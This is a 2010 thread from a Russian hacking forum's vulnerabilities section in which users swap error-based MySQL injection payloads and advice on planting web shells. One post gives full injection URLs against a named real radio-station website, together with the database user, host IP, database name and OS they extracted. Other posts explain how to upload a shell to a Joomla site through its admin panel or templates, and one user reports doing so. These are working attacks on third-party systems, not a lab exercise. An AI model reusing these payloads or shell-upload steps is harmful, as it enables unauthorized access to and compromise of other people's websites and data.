ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #12761  
Старый 26.04.2010, 20:36
Аватар для Nek1t
Nek1t
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме:
405538

Репутация: 23
По умолчанию

Цитата:
(select*from(select+name_const(version(),1),name_c onst(version(),1))a)
Работает, но
Цитата:
(select*from(select+name_const(user(),1),name_cons t(user(),1))a)
уже не работает: Error 1210: Incorrect arguments to NAME_CONST
Либо я не понял принципа, либо в чем-то другом проблема?
 
Ответить с цитированием

  #12762  
Старый 26.04.2010, 21:17
Аватар для LokbatanLi
LokbatanLi
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319

Репутация: -16
Отправить сообщение для LokbatanLi с помощью ICQ
По умолчанию

vot..

user()
Цитата:
http://www.radioerre.net/index.php?id=(select+1+from+(select+count(0),conca t((select+user()+from+information_schema.tables+li mit+20,1),floor(rand(0)*2))+from+information_schem a.tables+group+by+2+limit+20,1)a)
Sql115794@62.149.130.18

database()
Цитата:
http://www.radioerre.net/index.php?id=(select+1+from+(select+count(0),conca t((select+database()+from+information_schema.table s+limit+20,1),floor(rand(0)*2))+from+information_s chema.tables+group+by+2+limit+20,1)a)
Sql115794_4

@@version_compile_os
Цитата:
http://www.radioerre.net/index.php?id=(select+1+from+(select+count(0),conca t((select+@@version_compile_os+from+information_sc hema.tables+limit+20,1),floor(rand(0)*2))+from+inf ormation_schema.tables+group+by+2+limit+20,1)a)
redhat-linux-gnu
 
Ответить с цитированием

  #12763  
Старый 26.04.2010, 21:38
Аватар для GOGA075
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Пипл, кто юзал Joomla! 1.0.15 Lavra Edition 2008
подскажите как шел залить...
Или php код воспроизвести!!
 
Ответить с цитированием

  #12764  
Старый 26.04.2010, 21:46
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

в джумле легко шелл залить если есть доступ в админку, устанавливаешь там модуль джумла ксплорер и через него уже спокойно делаешь свои дела
 
Ответить с цитированием

  #12765  
Старый 26.04.2010, 21:48
Аватар для GOGA075
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Gorev, а можно по подробнее.
Доступ к админке есть....
 
Ответить с цитированием

  #12766  
Старый 26.04.2010, 21:50
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

Цитата:
Сообщение от GOGA075  
Gorev, а можно по подробнее.
Доступ к админке есть....

проще через шаблоны, если правятся
 
Ответить с цитированием

  #12767  
Старый 26.04.2010, 21:52
Аватар для Nek1t
Nek1t
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме:
405538

Репутация: 23
По умолчанию

LokbatanLi
То, что надо - работает.
Кто-нибудь может "на пальцах" объяснить суть бага? В блоге Qwazar'a читал, но там тема несильно раскрыта.

И, кстати, почему group_concat не воркает в таком запросе?

Последний раз редактировалось Nek1t; 26.04.2010 в 22:04..
 
Ответить с цитированием

  #12768  
Старый 26.04.2010, 22:17
Аватар для GOGA075
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Цитата:
Сообщение от попугай  
проще через шаблоны, если правятся
править то можно, только он ошибку выдает
"Неверная контрольная суммафайла......."

и в чом фишка немогу понять...
 
Ответить с цитированием

  #12769  
Старый 26.04.2010, 22:30
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

GOGA075 скачиваешь joomla xplorer и в админке устанавливаешь данный модуль , если не понял пиши в аську 8383один72
 
Ответить с цитированием

  #12770  
Старый 26.04.2010, 23:28
Аватар для GOGA075
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744

Репутация: 18
По умолчанию

Gorev, спасибо за помощ. Шел еле-еле залил. Прав никаких нету, щитай зря промучался!!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ